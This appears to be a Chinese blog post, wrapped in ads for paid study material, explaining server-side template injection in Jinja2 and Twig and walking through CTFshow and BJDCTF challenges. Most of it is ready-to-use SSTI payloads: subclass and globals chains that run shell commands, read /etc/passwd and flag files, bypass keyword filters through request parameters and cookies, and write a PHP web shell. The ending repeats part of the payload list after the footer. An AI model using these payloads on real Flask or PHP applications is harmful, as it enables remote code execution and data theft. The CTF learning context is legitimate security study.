ssti模版注入(看完就会了),2024年最新2024年网易网络安全岗面试必问

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

globals         使用方式是 函数名.globals__获取function所处空间下可使用的module、方法以及所有变量。
dic             类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
getattribute()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
getitem()       调用字典中的键值,其实就是调用这个魔术方法,比如a[‘b’],就是a.getitem(‘b’)
builtins         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。builtins__与__builtin__的区别就不放了,百度都有。
import           动态加载类和函数,也就是导入模块,经常用于导入os模块,import(‘os’).popen(‘ls’).read()]
str()           返回描写这个对象的字符串,可以理解成就是打印出来。
url_for             flask的一个方法,可以用于得到__builtins
,而且url_for.globals[‘builtins’]含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins
,而且url_for.globals[‘builtins’]含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.globals[‘os’].popen(‘ls’).read()}}
current_app         应用上下文,一个全局变量。

request             可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.init.globals[‘builtins’].open(‘/proc\self\fd/3’).read()
request.args.x1   get传参
request.values.x1 所有参数
request.cookies     cookies参数
request.headers     请求头参数
request.form.x1   post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.class.init.globals[‘os’].popen(‘ls’).read() }}
g                   {{g}}得到<flask.g of ‘flask_ssti’>


#### 常见过滤器(转载)



常用的过滤器

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{‘hello’|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ “%s” - “%s”|format(‘Hello?’,“Foo!”) }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default(‘xiaotuo’)----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count


`''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件` ​



[].class.base.subclasses()40.read() #将read() 修改为 write() 即为写文件


### ctf试题


**利用链**


'popen' 对象通常是 Python 中的 subprocess 模块中的一个类或函数,用于执行外部命令并获取其输出。在这种情况下,'popen' 对象的作用是执行系统命令 `whoami` 并返回当前用户的用户名。


直接使用 popen(python2不行)



os._wrap_close 类里有popen

“”.class.bases[0].subclasses()[128].init.globals’popen’.read()
“”.class.bases[0].subclasses()[128].init.globals.popen(‘whoami’).read()


使用 os 下的 popen



含有 os 的基类都可以,如 linecache

“”.class.bases[0].subclasses()[250].init.globals[‘os’].popen(‘whoami’).read()


使用**import**下的os(python2不行)



可以使用 import 的 os

“”.class.bases[0].subclasses()[75].init.globals.import(‘os’).popen(‘whoami’).read()


**builtins**下的多个函数



__builtins__下有eval,__import__等的函数,可以利用此来执行命令

“”.class.bases[0].subclasses()[250].init.globals[‘builtins’]‘eval’
“”.class.bases[0].subclasses()[250].init.globals.builtins.eval(“import(‘os’).popen(‘id’).read()”)
“”.class.bases[0].subclasses()[250].init.globals.builtins.import(‘os’).popen(‘id’).read()
“”.class.bases[0].subclasses()[250].init.globals[‘builtins’]import.popen(‘id’).read()


利用 python2 的 file 类读取文件



在 python3 中 file 类被删除

读文件

[].class.bases[0].subclasses()40.read()
[].class.bases[0].subclasses()40.readlines()

写文件

“”.class.bases[0].bases[0].subclasses()40.write(‘test’)

python2的str类型不直接从属于属于基类,所以要两次 .bases


flask内置函数



Flask内置函数和内置对象可以通过{{self.dict._TemplateReference__context.keys()}}查看,然后可以查看一下这几个东西的类型,类可以通过__init__方法跳到os,函数直接用__globals__方法跳到os。(payload一下子就简洁了)

{{self.dict._TemplateReference__context.keys()}}
#查看内置函数
#函数:lipsum、url_for、get_flashed_messages
#类:cycler、joiner、namespace、config、request、session
{{lipsum.globals.os.popen(‘ls’).read()}}
{{url_for.globals[‘os’][‘popen’](‘cat /flag’).read()}}
#函数
{{cycler.init.globals.os.popen(‘ls’).read()}}
#类


dict\_\_就能找到里面的config


通用 getshell



原理就是找到含有 builtins 的类,然后利用

{% for c in [].class.base.subclasses() %}{% if c.name’catch_warnings’ %}{{ c.init.globals[‘builtins’].eval(“import(‘os’).popen(‘whoami’).read()”) }}{% endif %}{% endfor %}
#读写文件
{% for c in [].class.base.subclasses() %}{% if c.name
’catch_warnings’ %}{{ c.init.globals[‘builtins’].open(‘filename’, ‘r’).read() }}{% endif %}{% endfor %}


**注入思路**



1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class ‘object’>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell

对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数


以上思路来自这位师傅[CTFshow刷题日记-WEB-SSTI(web361-372)\_ctfshow ssti 371-CSDN博客]( )_ctfshow ssti 371-CSDN博客")


#### ctfshow


##### web361



![image-20240218222650227](https://img-blog.csdnimg.cn/img_convert/760755a8c0525c42138fdc8299f75e0d.png)


你好,某某某,可以猜到传参一个应该是name


先试试{{4\*4}},可以看出是ssti注入



![image-20240218222926684](https://img-blog.csdnimg.cn/img_convert/60f8762ea7d5255ab0841579f880bb6f.png)


这里可以判断一下注入类型



![image-20240217151419198](https://img-blog.csdnimg.cn/img_convert/4b41015908cbf20e45e4268941680740.png)


输入{{4\*‘4’}},返回16表示是 Twig 模块


输入{{4\*‘4’}},返回4444表示是 Jinja2 模块


显然是Jinja2 模块



![image-20240218223156150](https://img-blog.csdnimg.cn/img_convert/ed9930a86d425fc99ef779f2c090507b.png)


查找可以利用的函数



?name={{‘’.class.base.subclasses()}}


提供 os.\_wrap\_close 中的 popen 函数



![image-20240218223323922](https://img-blog.csdnimg.cn/img_convert/c9a29f00b71d31a6eb32a7295078c9f3.png)


这很麻烦需要一个一个数,第132个子类


但是网上好像有脚本,可以试试


所以payload



?name={{‘’.class.base.subclasses()[132].init.globals[‘popen’](‘tac …/flag’).read()}}


也可以直接用 lipsum 和 cycler 执行命令



?name={{lipsum.globals[‘os’].popen(‘tac …/flag’).read()}}
?name={{cycler.init.globals.os.popen(‘ls’).read()}}


或者用控制块去直接执行命令



?name={% print(url_for.globals[‘builtins’][‘eval’](“import(‘os’).popen(‘cat /flag’).read()”))%}


1. `{% ... %}`:这表示一个模板语句块,在 Flask 中,这用于执行模板中的代码。
2. `url_for`:这是 Flask 中用于生成 URL 的函数。
3. `url_for.__globals__`:这是 `url_for` 函数对象的全局命名空间,其中包含了函数被定义时的全局命名空间。
4. `['__builtins__']`:这是 Python 中每个模块都有的一个属性,包含了内置函数和异常的命名空间。
5. `['eval']`:这是 Python 内置函数 `eval` 的引用,允许执行字符串中的 Python 表达式。
6. `("__import__('os').popen('cat ../flag').read()")`:这是一个字符串,其中包含了一个 Python 表达式,它会导入 `os` 模块,执行 `cat ../flag` 命令来读取敏感文件的内容,并返回该内容。
7. `__builtins__['eval']("__import__('os').popen('cat ../flag').read()")`:这是在模板中执行内置函数 `eval`,并传入上述字符串作为参数,实际上就是执行了敏感操作。
8. `print(...)`:这是 Python 中的打印函数,用于将 `eval` 函数的结果打印出来。


##### web362


发现2和3被过滤了



![image-20240219143303596](https://img-blog.csdnimg.cn/img_convert/2406d93db61fc34d372364999df9a518.png)


绕过方法:用全角数字 ‘0’,‘1’,‘2’,‘3’,‘4’,‘5’,‘6’,‘7’,‘8’,‘9’


全角:是一种电脑字符,是指一个全角字符占用两个标准字符(或两个半角字符)的位置。全角占两个字节。


半角:是指一个字符占用一个标准的字符位置。半角占一个字节。



?name={{“”.class.bases[0].subclasses()[132].init.globals[‘popen’](‘cat /flag’).read()}}  

?name={{a.init.globals[‘builtins’].eval(‘import(“os”).popen(“cat /flag”).read()’)}}

?name={{‘’.class.bases[0].subclasses()[132].init.globals[‘builtins’][‘eval’](‘import(“os”).popen(“cat /flag”).read()’)}}

?name={{ config.class.init.globals[‘os’].popen(‘cat …/flag’).read() }}


##### web363


过滤了单引号、双引号


**get 传参方式绕过**



?name={{lipsum.globals.os.popen(request.args.ocean).read()}}&ocean =cat /flag
//因为传参会自动补上双引号

?name={{url_for.globals[request.args.a]request.args.b.read()}}&a=os&b=popen&c=cat /flag


##### web364


过滤了单双引号,args


values 可以获取所有参数,从而绕过 args



?name={{lipsum.globals.os.popen(request.values.ocean).read()}}&ocean=cat /flag


也可以通过 cookie 绕过



?name={{url_for.globals[request.cookies.a]request.cookies.b.read()}}
a=os;b=popen;c=cat /flag



![image-20240219152316704](https://img-blog.csdnimg.cn/img_convert/37a4dc3234e34f627ec3dc7f76d57c0b.png)


##### web365


fuzz 字典跑一遍,发现单双引号、args、[]被过滤


**方法一:values传参** values 没有被过滤



?name={{lipsum.globals.os.popen(request.values.ocean).read()}}&ocean=cat /flag


**方法二:cookie传参**



?name={{url_for.globals.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag


##### web366


过滤了单双引号、args、中括号[]、下划线


传参绕过检测


values依旧



?name={{(lipsum|attr(request.values.a)).os.popen(request.values.c).read()}}&a=globals&c=cat /flag
因为后端只检测 name 传参的部分,所以其他部分就可以传入任意字符,和 rce 绕过一样


`attr()` 通常用于从对象中获取属性或调用方法,而 `get()` 则用于从字典中安全地获取值,并提供一个默认值来避免 KeyError 错误。在上下文中,如果是在 Flask 的模板中使用 `attr()`,通常是用来获取对象的属性值;而 `get()` 则是 Python 中字典的常用方法,用于获取键对应的值。


cookie也是



?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

cookie:a=globals;b=cat /flag


##### web367


过滤了单双引号、args、中括号[]、下划线、os



?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=cat /flag


##### web368


过滤单双引号、args、中括号[]、下划线、os、{{


**{%绕过**


只过滤了两个左括号,没有过滤 {%



?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=globals&b=os&c=cat /flag


#### [BJDCTF2020]The mystery of ip


发现flag页面会出现ip


![image-20240121221116659](https://img-blog.csdnimg.cn/img_convert/636153bdeeef6c6b43da4d7551f4d000.png)


推断


1. `X-Forwarded-For`注入
2. **PHP**可能存在**Twig模版注入漏洞**


结合题目名,**IP的秘密**,flag页面也出现了**IP**,猜测为`X-Forwarded-For`处有问题 使用**BurpSuite**抓取数据包:



X-Forwarded-For: 1



![image-20240121221435582](https://img-blog.csdnimg.cn/img_convert/edb9de753b9b1ff10ae4da9816511789.png)



X-Forwarded-For: {{9*9}}



![image-20240121221542671](https://img-blog.csdnimg.cn/img_convert/f284a1db375df5511a82b8fd24599ec1.png)


被成功执行,说明`XFF`可控,测试了半天,因为是php页面,所以没想到模版注入,通过查阅资料 **Flask**可能存在**Jinjia2模版注入漏洞** **PHP**可能存在**Twig模版注入漏洞**


模版中算式被成功执行,尝试是否能执行命令:



X-Forwarded-For: {{system(‘ls’)}}



![image-20240121221842888](https://img-blog.csdnimg.cn/img_convert/f160d8108bb0353fdc5ba6282b341ffe.png)


在`/`目录下查找到flag,



X-Forwarded-For: {{system(‘ls /’)}}


找到flag文件



![image-20240121222029087](https://img-blog.csdnimg.cn/img_convert/31a918f4cecea4a6a97e74f8a491ac48.png)


读取flag,构造payload:



X-Forwarded-For: {{system(‘cat /flag’)}}



![image-20240121222246910](https://img-blog.csdnimg.cn/img_convert/9b17bcde50464f2eddedf9a194b97623.png)


#### [BJDCTF2020]Cookie is so stable


先发现有flag页面和Hint页面,dirsearch扫完也没有获得什么


falg输入什么就返回什么



![image-20240217150635267](https://img-blog.csdnimg.cn/img_convert/83f4a065e3b5f841a8fe80adbd4790c0.png)


题目提到cookie,抓包看看



![image-20240217151048006](https://img-blog.csdnimg.cn/img_convert/5f452f093e789ebbb75009a366de2ff1.png)


猜测是ssti注入


输入user={{7\*'7'}}测试一下,确实存在(注意cookie的user前面的连接是;)



![image-20240217151205259](https://img-blog.csdnimg.cn/img_convert/bbb7d05c9422dbe51a15b4d270d6dd19.png)


同时也判断了ssti注入的类型


输入{{7\*‘7’}},返回49表示是 Twig 模块


输入{{7\*‘7’}},返回7777777表示是 Jinja2 模块



![image-20240217151419198](https://img-blog.csdnimg.cn/img_convert/ac192a4b846d6993a130be94f90590d8.png)


模板注入是Twig注入


所以是有固定的payload



{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}


同样的方法,在cookie输入



![image-20240217151635539](https://img-blog.csdnimg.cn/img_convert/68d29f1a9a2cb033a7eecdbd2615e376.png)


查看flag



{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}



![image-20240217151713479](https://img-blog.csdnimg.cn/img_convert/4f56ae23799f3d5d27138ef1e6d09e55.png)


twig常用的注入payload:



{{‘/etc/passwd’|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct(‘/etc/passwd’,‘’)}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback(“exec”)}}
{{_self.env.getFilter(“whoami”)}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{[“id”]|map(“system”)|join(“,”)
{{{“<?php phpinfo();”:“/var/www/html/shell.php”}|map(“file_put_contents”)}}
{{[“id”,0]|sort(“system”)|join(“,”)}}
{{[“id”]|filter(“system”)|join(“,”)}}
{{[0,0]|reduce(“system”,“id”)|join(“,”)}}
{{[‘cat /etc/passwd’]|filter(‘system’)}}





**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/6c21f9740602c98a7a55ac053c6e23ee.png)

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

finedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-OjLNoW04-1713178165902)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值